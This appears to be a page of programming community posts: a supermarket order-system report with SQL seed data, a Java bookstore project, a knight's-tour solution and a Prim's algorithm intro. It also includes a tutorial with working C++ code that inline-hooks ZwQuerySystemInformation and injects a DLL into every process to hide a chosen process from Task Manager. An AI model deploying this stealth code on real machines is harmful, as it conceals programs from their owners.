    insert into `smbms_provider`(`id`,`proCode`,`proName`,`proDesc`,`proContact`,`proPhone`,`proAddress`,`proFax`,`createdBy`,`creationDate`,`modifyDate`,`modifyBy`) values(1,'BJ_GYS001','北京三木堂商贸有限公司','长期合作伙伴,主营产品:茅台、五粮液、郎酒、酒鬼酒、泸州老窖、赖茅酒、法国红酒等','张国强','13566667777','北京市丰台区育芳园北路','010-58858787',1,'2020-03-21 16:52:07',NULL,NULL),(2,'HB_GYS001','石家庄帅益食品贸易有限公司','长期合作伙伴,主营产品:饮料、水饮料、植物蛋白饮料、休闲食品、果汁饮料、功能饮料等','王军','13309094212','河北省石家庄新华区','0311-67738876',1,'2020-04-13 04:20:40',NULL,NULL),(3,'GZ_GYS001','深圳市泰香米业有限公司','初次合作伙伴,主营产品:良记金轮米,龙轮香米等','郑程瀚','13402013312','广东省深圳市福田区深南大道6006华丰大厦','0755-67776212',1,'2020-03-21 16:56:07',NULL,NULL),(4,'GZ_GYS002','深圳市喜来客商贸有限公司','长期合作伙伴,主营产品:坚果炒货.果脯蜜饯.天然花茶.营养豆豆.特色美食.进口食品.海味零食.肉脯肉','林妮','18599897645','广东省深圳市福龙工业区B2栋3楼西','0755-67772341',1,'2020-03-22 16:52:07',NULL,NULL),(5,'JS_GYS001','兴化佳美调味品厂','长期合作伙伴,主营产品:天然香辛料、鸡精、复合调味料','徐国洋','13754444221','江苏省兴化市林湖工业区','0523-21299098',1,'2020-02-22 16:52:07',NULL,NULL),(6,'BJ_GYS002','北京纳福尔食用油有限公司','长期合作伙伴,主营产品:山茶油、大豆油、花生油、橄榄油等','马莺','13422235678','北京市朝阳区珠江帝景1号楼','010-588634233',1,'2020-03-21 17:52:07',NULL,NULL),(7,'BJ_GYS003','北京国粮食用油有限公司','初次合作伙伴,主营产品:花生油、大豆油、小磨油等','王驰','13344441135','北京大兴青云店开发区','010-588134111',1,'2020-04-13 00:00:00',NULL,NULL),(8,'ZJ_GYS001','慈溪市广和绿色食品厂','长期合作伙伴,主营产品:豆瓣酱、黄豆酱、甜面酱,辣椒,大蒜等农产品','薛圣丹','18099953223','浙江省宁波市慈溪周巷小安村','0574-34449090',1,'2020-01-21 06:02:07',NULL,NULL),(9,'GX_GYS001','优百商贸有限公司','长期合作伙伴,主营产品:日化产品','李立国','13323566543','广西南宁市秀厢大道42-1号','0771-98861134',1,'2020-03-21 19:52:07',NULL,NULL),(10,'JS_GYS002','南京火头军信息技术有限公司','长期合作伙伴,主营产品:不锈钢厨具等','陈女士','13098992113','江苏省南京市浦口区浦口大道1号新城总部大厦A座903室','025-86223345',1,'2020-03-25 16:52:07',NULL,NULL),(11,'GZ_GYS003','广州市白云区美星五金制品厂','长期合作伙伴,主营产品:海绵床垫、坐垫、靠垫、海绵枕头、头枕等','梁天','13562276775','广州市白云区钟落潭镇福龙路20号','020-85542231',1,'2020-01-21 06:12:17',NULL,NULL),(12,'BJ_GYS004','北京隆盛日化科技','长期合作伙伴,主营产品:日化环保清洗剂,家居洗涤专卖、洗涤用品网、墙体除霉剂、墙面霉菌清除剂等','孙欣','13689865678','北京市大兴区旧宫','010-35576786',1,'2020-01-21 12:51:11',NULL,NULL),(13,'SD_GYS001','山东豪克华光联合发展有限公司','长期合作伙伴,主营产品:洗衣皂、洗衣粉、洗衣液、洗洁精、消杀类、香皂等','吴洪转','13245468787','山东济阳济北工业区仁和街21号','0531-53362445',1,'2020-01-28 10:52:07',NULL,NULL),(14,'JS_GYS003','无锡喜源坤商行','长期合作伙伴,主营产品:日化品批销','周一清','18567674532','江苏无锡盛岸西路','0510-32274422',1,'2020-04-23 11:11:11',NULL,NULL),(15,'ZJ_GYS002','乐摆日用品厂','长期合作伙伴,主营产品:各种中、高档塑料杯,塑料乐扣水杯(密封杯)、保鲜杯(保鲜盒)、广告杯、礼品杯','王世杰','13212331567','浙江省金华市义乌市义东路','0579-34452321',1,'2020-06-22 10:01:30',NULL,NULL);
    向smbms_role表插入数据
    insert into `smbms_role`(`id`,`roleCode`,`roleName`,`createdBy`,`creationDate`,`modifyBy`,`modifyDate`) values (1,'SMBMS_ADMIN','系统管理员',1,'2020-01-01 00:00:00',NULL,NULL),(2,'SMBMS_MANAGER','经理',1,'2020-02-02 00:01:00',NULL,NULL),(3,'SMBMS_EMPLOYEE','普通员工',1,'2020-02-03 00:00:00',NULL,NULL);
    向smbms_user表插入数据
    insert into `smbms_user`(`id`,`userCode`,`userName`,`userPassword`,`gender`,`birthday`,`phone`,`address`,`userRole`,`createdBy`,`creationDate`,`modifyBy`,`modifyDate`) values (1,'admin','系统管理员','1234567',1,'1983-10-10','13688889999','山东省日照市东港区成府路207号',1,1,'2020-03-21 16:52:07',NULL,NULL),(2,'liming','李明','0000000',2,'1983-12-10','13688884457','山东省日照市东港区前门东大街9号',2,1,'2020-03-01 00:00:00',NULL,NULL),(5,'hanlubiao','韩路彪','0000000',2,'2001-06-05','18567542321','山东省日照市东港区北辰中心12号',2,1,'2020-02-11 19:52:09',NULL,NULL),(6,'zhanghua','张华','0000000',1,'1980-06-15','13544561111','山东省日照市东港区学院路61号',3,1,'2020-02-11 10:51:17',NULL,NULL),(7,'wangyang','王洋','0000000',2,'2001-12-31','13444561124','山东省青岛市三二二区西二旗辉煌国际16层',3,1,'2020-06-11 19:09:07',NULL,NULL),(8,'zhaoyan','赵燕','0000000',1,'1999-03-07','18098764545','山东省青岛市东科区回龙观小区10号楼',3,1,'2020-04-21 13:54:07',NULL,NULL),(10,'sunlei','孙磊','0000000',2,'1998-01-04','13387676765','山东省日照市朝阳区管庄新月小区12楼',3,1,'2020-05-06 10:52:07',NULL,NULL),(11,'sunxing','孙兴','0000000',2,'1997-03-12','13367890900','北京市朝阳区建国门南大街10号',3,1,'2020-01-09 16:51:17',NULL,NULL),(12,'zhangchen','张晨','0000000',1,'1986-03-28','18098765434','朝阳区管庄路口北柏林爱乐三期13号楼',3,1,'2019-06-09 05:52:37',1,'2020-04-14 14:15:36'),(13,'dengchao','邓超','0000000',2,'1981-11-04','13689674534','北京市海淀区北航家属院10号楼',3,1,'2020-07-01 08:02:47',NULL,NULL),(14,'yangguo','杨过','0000000',2,'1989-01-01','13388886623','北京市朝阳区北苑家园茉莉园20号楼',3,1,'2020-02-01 03:52:07',NULL,NULL),(15,'zhaomin','赵敏','0000000',1,'1989-12-04','18099897657','山东省临沂市昌平区天通苑3区12号楼',2,1,'2020-01-12 12:02:12',NULL,NULL);
    此外,本系统中所用到的用户性别和用户身份代码如表3.5.1至表3.5.2所示。
    用户性别代码表



    代码
    说明




    1



    2




    用户身份代码



    代码
    说明




    1
    系统管理员


    2
    经理


    3
    普通员工



    4 各功能模块的设计与实现4.1 系统开发条件4.1.1 开发语言系统使用的开发语言是Java。Java具有简单性、面向对象、分布式、健壮性、安全性、平台独立与可移植性、多线程等特点。Java可以编写桌面应用程序、Web应用程序、分布式系统应用程序等。正是因为Java语言拥有如此诸多的优秀特性,所以我们选择了它作为开发超市订单管理系统,使得整个开发、调试过程更加高效。
    4.1.2 开发框架超市订单管理系统以SSM架构作为支撑,分为表现层、业务层和持久层三层,实现后台数据更新。该架构由Spring MVC、Spring和MyBatis三个开源框架整合而成,用于开发结构合理,性能优越,代码健壮的应用程序。

    4.1.3 前端框架由于本系统是Web应用,所以使用了HTML5+CSS3+JavaScript的方式实现前端页面。实现过程中参考了Bootstrap前端开发框架。Bootstrap是Twitter退出的一个用于前端开发的开源工具包。在设计前端页面时,参考了Bootstrap的相关开源代码。
    4.1.4 集成开发环境编程所使用的集成开发环境是Eclipse,是著名的跨平台的自由集成开发环境(IDE)。Eclipse 是一个开放源代码的、基于Java的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。本次系统便选用了Eclipse作为开发平台。
    4.1.5 Web应用服务器Tomcat由Apache、Sun和其他一些公司及个人共同开发而成。由于有了Sun的参与和支持,最新的Servlet和JSP规范可以在Tomcat中得到体现。因为Tomcat技术先进、性能稳定,因而成为目前比较流行的Web应用服务器。本次系统选用的便是Tomcat作为应用服务器。
    4.1.6 数据库管理系统本系统使用的数据库管理系统是MySQL Community。MySQL是一个关系型数据库管理系统,由瑞典MySQL AB公司开发。在WEB应用方面,MySQL是最好的RDBMS (Relational Database Management System,关系数据库管理系统)应用软件。
    系统中的数据库以及数据库中的所有关系模式都使用MySQL进行处理。
    4.2 用户界面设计完成数据库创建和功能说明以后,我们进行下一步工作,即设计用户界面,完成了系统要求的 5 项主要功能。
    我们把超市订单管理系统的窗体分成5个主要部分,如下图所示。
    4.2.1 订单管理
    4.2.2 供应商管理
    4.2.3 用户管理
    4.2.4 修改密码
    4.2.5 登录注销
    4.3 功能模块说明5.3.1 订单信息添加、查询、修改与删除订单信息查看:为了对订单浏览信息,能够实现浏览的功能是十分必要的。管理员输入需要搜索的相应信息,点击查看按钮后系统将寻找到的数据展示到网页中。

    订单信息添加:作为超市订单管理系统,订单信息的管理是很重要的。每当采购部门增加新的订单时,订单信息就要增加。超市也可能因为其它原因增加订单信息,订单添加模块都可以做出快捷的解决方案。管理员输入相应的信息,点击提交后系统将数据保存到数据库中。

    订单信息修改:根据订单编号可以查询订单详细信息,然后修改订单的所有信息。系统从数据库中读取数据并显示到页面上,管理员修改数据后,点击修改按钮,系统将更新表中的数据。

    订单信息删除:根据订单编号可以删除该订单的信息。管理员选择需要删除订单名称并点击删除按钮,系统将从数据库中删除相应数据。
    订单信息查询:在成千上万种商品种,如果人为寻找某一个商品肯定是不可能的,只有通过商品信息查询模块才能为用户或管理人员解决这个难题。根据订单名称可以查询该订单的信息。管理员输入订单名称并点击查询按钮,系统将从数据库中查询相应的数据并显示到页面上。

    5.3.2 供应商信息添加、查询、修改与删除供应商查询界面:供应商查询界面提供了供应商的信息,可根据供应商名称的关键字进行筛选查询,并提供了添加供应商、查看供应商详细信息、修改供应商信息、删除供应商的功能。

    供应商查看详情界面:在供应商查询界面点击具体供应商操作列表的查看按钮,可以查看供应商的具体信息,包括:供货商编码、供货商名称、详细描述、联系人、联系电话、地址、微信。

    供应商修改页面:若供应商信息变动,管理员可通过供应商信息修改功能对供应商信息进行更新,更新后的数据将保存到数据库中。

    商品供应商信息删除:企业倒闭或者经营策略的改变,当它对超市商品的供应没有作用时,商品供应商厂家信息的删除是正常的。管理员输入供应商名称查询数据表中的数据并显示到页面上,点击删除后系统将表中的相应数据删除。
    供应商添加界面:与供应商达成交易后,管理员在供应商添加页面填写供应商具体信息,填写完毕点击提交,添加后的数据将保存到数据库中。

    5.3.3 用户信息添加、查询、修改与删除用户管理页面:通过输入用户名和身份查询用户。当不记得用户名的具体名字时,只输入用户名的其中一个字,会检索出所有带这个字的用户,方便管理员查询管理。点击右边链接添加用户,会连接到相关网页添加用户信息。点击操作里的查看、修改等可以进行相应的改、删、查操作。

    用户信息删除:当企业员工离职时,或者经过一段时间后,会发现用户表中一些信息时无用的,用户删除模块可以解决这样的问题。
    添加用户信息:填写用户相关信息,下面有两个按钮,可以选择重置或者提交。

    5.3.4 修改密码为了系统的安全,用户的应该只有用户个人才能修改,这不仅保证了整个公司的利益也保护了个人隐私。用户在输入相应的用户编号,填写旧密码以及新密码后,点击提交,重置密码成功。发现输入错误时,可以手动删除或者点击重置按钮,重新填写。

    修改用户密码成功后,会弹出修改用户密码成功页面,如图4.3.14所示。

    5.3.5 登录/注销输入用户名以及用户密码登录进入超市订单管理界面,可以查看管理信息。管理员可以对相关数据进行增、改、查等操作,也可以注销退出系统。
    5 实训总结5.1 所遇困难在实现本系统时遇到的困难主要体现在两个方面,一是系统的前端页面的设计,二是怎样Web与数据库实现交互。
    系统前端页面的设计困难的解决是通过参考著名的前端框架Bootstrap实现的。Bootstrap框架提供了许多精美的组建、布局,还开放了源代码供参考。在此基础上我们还加入了一些利用JavaScript代码实现的美化效果,使得前端设计更加美观。
    实体Web与数据库交互的解决得益于SSM框架的三层Spring MVC、Spring和MyBatis,能够分离处理数据库与Web层的视图,从而达到交互的目的。
    此外,在编写后端的时候,变量的大小写、系统配置也是困难重重。好在,在反复编写之后,迅速熟悉的技巧,能够让页面自由切换。系统配置更是反复在网上求证,得以解决。
    5.2 实验心得这一次合作开发超市订单管理系统,从开始选择课题的困惑到最终完成了一个我们还算满意的作品,使我学到了很多东西。从设计数据库到编写后台代码,链接数据库,在网页上显示,令人印象深刻。反复查阅资料,启动Tomcat到凌晨0点,都是藏着对这次项目的努力。其实,从一开始选择哪个题目是否用SSM框架来开发我一直也犹豫过,像国内势头正旺的ThinkPHP,易学易用,完善的中文开发文档,遇到问题或者bug可以非常容易的在中文社区得到解答。但是我最后选择了SSM框架,不仅仅因为它广泛,而是我希望能够挑战自己。经过这一个周的磨练,我最大的收获除了学到了真正可以应用的知识外,更重要的是学会了项目合作开发的经验。
    2 留言 2020-08-05 15:32:05 奖励46点积分
  • 劫持ZwQuerySystemInformation函数实现进程隐藏 精华

    背景所谓的进程隐藏,通俗地说指的是某个进程正常工作,不受任何影响,但是,我们使用类似任务管理器、Process Explorer 等进程查看软件查看进程,却看不到这个进程。适合秘密在计算机后台进行操作的程序,而不想让人发现。
    本文讲解的就是实现这样的一个进程隐藏程序的原理和过程,当然,进程隐藏的方法有很多,例如 DLL 劫持、DLL注入、代码注入、进程内存替换、HOOK API 等等。我们本文要介绍的就是 HOOK API 函数 ZwQuerySystemInformation 实现的隐藏指定进程。现在,我就把程序的实现过程整理成文档,分享给大家。
    函数介绍ZwQuerySystemInformation 函数
    获取指定的系统信息。
    函数声明
    NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength);
    参数

    SystemInformationClass [in]要检索的系统信息的类型。 该参数可以是SYSTEM_INFORMATION_CLASS枚举类型中的以下值之一。
    SystemInformation[in,out]指向缓冲区的指针,用于接收请求的信息。 该信息的大小和结构取决于SystemInformationClass参数的值,如下表所示。
    SystemInformationLength [in]SystemInformation参数指向的缓冲区的大小(以字节为单位)。
    ReturnLength [out]
    一个可选的指针,指向函数写入所请求信息的实际大小的位置。 如果该大小小于或等于SystemInformationLength参数,则该函数将该信息复制到SystemInformation缓冲区中; 否则返回一个NTSTATUS错误代码,并以ReturnLength返回接收所请求信息所需的缓冲区大小。

    返回值

    返回NTSTATUS成功或错误代码。NTSTATUS错误代码的形式和意义在DDK中提供的Ntstatus.h头文件中列出,并在DDK文档中进行了说明。
    注意

    ZwQuerySystemInformation函数及其返回的结构在操作系统内部,并可能从一个版本的Windows更改为另一个版本。 为了保持应用程序的兼容性,最好使用前面提到的替代功能。如果您使用ZwQuerySystemInformation,请通过运行时动态链接访问该函数。 如果功能已被更改或从操作系统中删除,这将使您的代码有机会正常响应。 但签名变更可能无法检测。此功能没有关联的导入库。 您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。

    实现原理首先,先来讲解下为什么 HOOK ZwQuerySystemInformation 函数就可以实现指定进程隐藏。是因为我们遍历进程通常是调用系统 WIN32 API 函数 EnumProcess 、CreateToolhelp32Snapshot 等函数来实现,这些 WIN32 API 它们内部最终是通过调用 ZwQuerySystemInformation 这个函数实现的获取进程列表信息。所以,我们只要 HOOK ZwQuerySystemInformation 函数,对它获取的进程列表信息进行修改,把有我们要隐藏的进程信息从中去掉,那么 ZwQuerySystemInformation 就返回了我们修改后的信息,其它程序获取这个被修的信息后,自然获取不到我们隐藏的进程,这样,指定进程就被隐藏起来了。
    其中,我们将HOOK ZwQuerySystemInformation 函数的代码部分写在 DLL 工程中,原因是我们要实现的是隐藏指定进程,而不是单单在自己的进程内隐藏指定进程。写成 DLL 文件,可以方便我们将 DLL 文件注入到其它进程的空间,从而 HOOK 其它进程空间中的 ZwQuerySystemInformation 函数,这样,就实现了在其它进程空间中也看不到指定进程了。
    我们选取 DLL 注入的方法是设置全局钩子,这样就可以快速简单地将指定 DLL 注入到所有的进程空间里了。
    其中,HOOK API 使用的是自己写的 Inline Hook,即在 32 位程序下修改函数入口前 5 个字节,跳转到我们的新的替代函数;对于 64 位程序,修改函数入口前 12 字节,跳转到我们的新的替代函数。
    编码实现HOOK ZwQuerySystemInformationvoid HookApi(){ // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return; } // 32 位下修改前 5 字节, 64 位下修改前 12 字节#ifndef _WIN64 // jmp New_ZwQuerySystemInformation // 机器码位:e9 _dwOffset(跳转偏移) // addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值 // addr2 --> 跳转地址的值,即_dwNewAddress的值 // 跳转偏移 _dwOffset = addr2 - addr1 BYTE pData[5] = { 0xe9, 0, 0, 0, 0}; DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset)); // 保存前 5 字节数据 ::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));#else // mov rax,0x1122334455667788 // jmp rax // 机器码是: // 48 b8 8877665544332211 // ff e0 BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0}; ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset)); // 保存前 12 字节数据 ::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); // 修改 ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); // 还原页面保护属性 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}
    UNHOOK ZwQuerySystemInformationvoid UnhookApi(){ // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return; } // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 32 位下还原前 5 字节, 64 位下还原前 12 字节#ifndef _WIN64 // 还原 ::RtlCopyMemory(ZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));#else // 还原 ::RtlCopyMemory(ZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));#endif // 还原页面保护属性 ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);}
    New_ZwQuerySystemInformation 函数NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ){ NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL; // 要隐藏的进程PID DWORD dwHideProcessId = 1224; // UNHOOK API UnhookApi(); // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return status; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return status; } // 调用原函数 ZwQuerySystemInformation status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { // 判断是否是要隐藏的进程PID if (dwHideProcessId == (DWORD)pCur->UniqueProcessId) { if (0 == pCur->NextEntryOffset) { pPrev->NextEntryOffset = 0; } else { pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset; } } else { pPrev = pCur; } if (0 == pCur->NextEntryOffset) { break; } pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset); } } // HOOK API HookApi(); return status;}
    设置全局消息钩子注入DLLint _tmain(int argc, _TCHAR* argv[]){ // 加载DLL并获取句柄 HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll"); if (NULL == hDll) { printf("%s error[%d]\n", "LoadLibrary", ::GetLastError()); } printf("Load Library OK.\n"); // 设置全局钩子 g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, hDll, 0); if (NULL == g_hHook) { printf("%s error[%d]\n", "SetWindowsHookEx", ::GetLastError()); } printf("Set Windows Hook OK.\n"); system("pause"); // 卸载全局钩子 if (FALSE == ::UnhookWindowsHookEx(g_hHook)) { printf("%s error[%d]\n", "UnhookWindowsHookE", ::GetLastError()); } printf("Unhook Windows Hook OK.\n"); // 卸载DLL ::FreeLibrary(hDll); system("pause"); return 0;}
    程序测试我们运行将要隐藏进程的程序 520.exe,然后打开任务管理器,可以查看到 520.exe 是处于可见状态。接着,以管理员权限运行我们的程序,设置全局消息钩子,将 DLL 注入到所有的进程中,DLL 便在 DllMain 入口点函数处 HOOK ZwQuerySystemInformation 函数,成功隐藏 520.exe 的进程。所以,测试成功。
    总结要注意 Inline Hook API 的时候,在 32 位系统和 64 位系统下的差别。
    在 32 位使用 jmp _NewAddress 跳转语句,机器码是 5 字节,而且要注意理解它的跳转偏移的计算方式:
    跳转偏移 = 跳转地址 - 下一跳指令的地址
    在 64 位使用的是的汇编指令是:
    mov rax, _NewAddressjmp rax
    机器码是 12 字节。
    在Windows7 32位旗舰版以及Windows10 64位专业版上进行测试,均能成功隐藏指定进程,程序在32位和64位全平台系统均能正常工作。要注意一点就是,建议以管理员身份运行程序,否则我们的全局钩子不能成功注入到一些高权限的进程中。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2018-12-31 16:07:28 奖励25点积分
  • 基于Java的图书购物商城

    一、功能
    登录用户
    管理员登录和用户登录两种
    注册功能
    有购买书籍功能
    查询功能:按书名查询,按ID名查询
    删除书籍
    显示用户的信息

    二、注册和登录模块的设计与实现2.1 注册和登录界面2.1.1 注册用户在进行注册时,需要通过该界面输入帐号、密码和用户身份,然后点击“点我注册”按钮进行注册,注册界面设计如图1.1所示。

    2.1.2 登录用户在进行系统登录时,需要通过该界面输入帐号、密码和用户身份,然后点击“登录”按钮进行登录,登录界面设计如图1.2所示。

    2.2 该模块涉及到的文件和类通过详细的分析,该模块涉及到的文件和类在工程中的组织如图所示。
    2.2.1 持久层用文件users.txt持久存储用户的信息,文件中以u00001:普通用户:pw00001:张三:0:上海 的形式存储,其中u00001为id,普通用户为用户类型,pw00001为用户密码,张三为用户真实姓名,0代表用户性别为男,上海为用户所在城市。所有用户的信息均以这样的格式存储,且每个用户的信息在文件中占一行。
    为了方便,在类DatabaseConfig中使用静态常量描述了文件users.txt的详细路径。
    2.2.3 文件操作层(Dao层)该层涉及到接口IUserDao和实现该接口的类UserDaoImpl,主要用来完成对文件user.txt的读和写操作。
    public Map<String, User> getUsers();
    该方法从文件中读出用户的信息并使用Map集合返回结果集。Map中key为用户id, value为使用User封装的用户信息。
    public void addUser(User u)
    该方法是将封装到User中的用户信息写入文件。
    类UserDaoImpl的核心代码如下:
    public class UserDaoImpl implements IUserDao{ @Override public void addUser(User u) { //使用缓冲流,一个用户信息占一行 File f = new File(DataBaseConfig.USER_FILE_PATH); FileWriter fw = null; BufferedWriter bw = null; try { fw= new FileWriter(f, true); bw = new BufferedWriter(fw); bw.write(u.toString()); bw.newLine(); } catch (IOException e) { … } finally { … } } @Override public Map<String, User> getUsers() { Map<String, User> users = new HashMap<String, User>(); File f = new File(DataBaseConfig.USER_FILE_PATH); FileReader fr = null; BufferedReader br = null; try { fr = new FileReader(f); br = new BufferedReader(fr); String s; String[] userInfo; User u; while((s=br.readLine()) != null){ userInfo = s.split(":"); u = new User(userInfo); users.put(userInfo[0], u); } } catch (FileNotFoundException e) { … } catch (IOException e) { … } finally { … } return users; }}
    详细请查看源代码
    个人博客(后续有时间的话放在博客上面)
    2 留言 2019-12-18 20:27:03 奖励10点积分
  • 图的深度优先搜索(DFS)的应用--马踏棋盘问题(骑士周游问题)

    将马随机放在国际象棋的 8X8 棋盘Board[0~7] [0~7]的某个方格中,马按走棋规则(马走日字)进行移动。要求每个方格只进入一次,走遍棋盘上全部64个方格。
    马踏棋盘游戏代码实现
    马踏棋盘问题(骑士周游问题)实际上是图的深度优先搜索(DFS)的应用。
    如果使用回溯(就是深度优先搜索)来解决,假如马儿踏了53个点,走到了第53个,坐标(1,0) ,发现已经走到尽头,没办法,那就只能回退了,查看其他的路径,就在棋盘上不停的回退…
    分析第一种方式的问题,并使用贪心算法(greedyalgorithm)进行优化。解决马踏棋盘问题。
    使用前面的游戏来验证算法是否正确。
    解决步骤和思路: https://blog.csdn.net/zhang0558/article/details/50497298

    创建棋盘chessBoard,是一个二维数组
    将当前位置设置为已经访问,然后根据当前位置,计算马儿还能走哪些位置,并放入到一个集合中(ArrayList),最多有8个位置,每走-步,就使用step+1
    遍历ArrayList中存放的所有位置,看看哪个可以走通,如果走通,就继续,走;不通,就回溯
    判断马儿是否完成了任务,使用step 和应该走的步数比较,如果没有达到数量,则表示没有完成任务,将整个棋盘置0

    注意:马儿不同的走法(策略),会得到不同的结果,效率也会有影响(优化)
    public class HorsechessBoard { private static int X; // 表示列 private static int Y; // 表示行 private static boolean visited[]; // 是否被访问 private static boolean finished; // 是否全部完成 // 进行行走 public static void traversal(int[][] arr, int row, int col, int step) { arr[row][col] = step; visited[row * X + col] = true;// 初始位置标记为已访问 // 获取下一步集合 ArrayList<Point> ps = next(new Point(col, row)); sort(ps); //然后在traversal方法当中的ps进行排序: // 遍历集合 while (!ps.isEmpty()) { Point p = ps.remove(0); // 判断该点是否访问过 if (!visited[p.y * X + p.x]) { // 没有访问过 traversal(arr, p.y, p.x, step+1); } } if (step < X * Y && !finished) { arr[row][col] = 0; visited[row * X + col] = false; } else { finished = true; } } public static void sort(ArrayList<Point> ps) { ps.sort(new Comparator<Point>() { @Override public int compare(Point o1, Point o2) { int count1 = next(o1).size(); int count2 = next(o2).size(); if (count1 < count2) { return -1; } else if (count1 == count2) { return 0; } else { return 1; } } }); } // 根据当前位置计算还有哪些位置可以走 static int weizhi[][] = {{-2,1},{-2,-1},{-1,2},{-1,-2},{1,2},{1,-2},{2,1},{2,-1}}; public static ArrayList<Point> next(Point cutPoint) { ArrayList<Point> ps = new ArrayList<Point>(); Point p1 = new Point(); // 判断是否可以走下一个位置 if ((p1.x = cutPoint.x - 2) >= 0 && (p1.y = cutPoint.y - 1) >= 0) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x - 1) >= 0 && (p1.y = cutPoint.y - 2) >= 0) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x + 1) < X && (p1.y = cutPoint.y - 2) >= 0) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x + 2) < X && (p1.y = cutPoint.y - 1) >= 0) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x + 2) < X && (p1.y = cutPoint.y + 1) < Y) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x + 1) < X && (p1.y = cutPoint.y + 2) < Y) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x - 1) >= 0 && (p1.y = cutPoint.y + 2) < Y) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x - 2) >= 0 && (p1.y = cutPoint.y + 1) < Y) { ps.add(new Point(p1)); } return ps; } public static void main(String[] args) { X = 9;//chg to 6 Y = 9; int row = 5; int col = 5; int[][] arr = new int[X][Y]; visited = new boolean[X * Y]; System.out.println("开始"); long start = System.currentTimeMillis(); traversal(arr, row-1, col-1,1); long end = System.currentTimeMillis(); System.out.println("耗时 = "+ (end-start)+" 毫秒"); for(int[] rows:arr) { for(int step :rows) { System.out.print(step+"\t"); } System.out.println(); } System.out.println("结束"); }}
    0 留言 2020-08-24 15:51:20 奖励30点积分
  • 图结构中寻找最小生成树的一种算法--Prim算法

    普里姆算法是图结构中寻找最小生成树的一种算法。所谓生成树,即为连通图的极小连通子图,其包含了图中的n个顶点,和n-1条边,这n个顶点和n-1条边所构成的树即为生成树。当边上带有权值时,使生成树中的总权值最小的生成树称为最小代价生成树,简称最小生成树。最小生成树不唯一,且需要满足一下准则:

    只能使用图中的边构造最小生成树
    具有n个顶点和n-1条边
    每个顶点仅能连接一次,即不能构成回路
    获得图的最小生成树,即在保证图中所有顶点不重复连通的情况下,使得总权值最小

    如何使总权值最小?
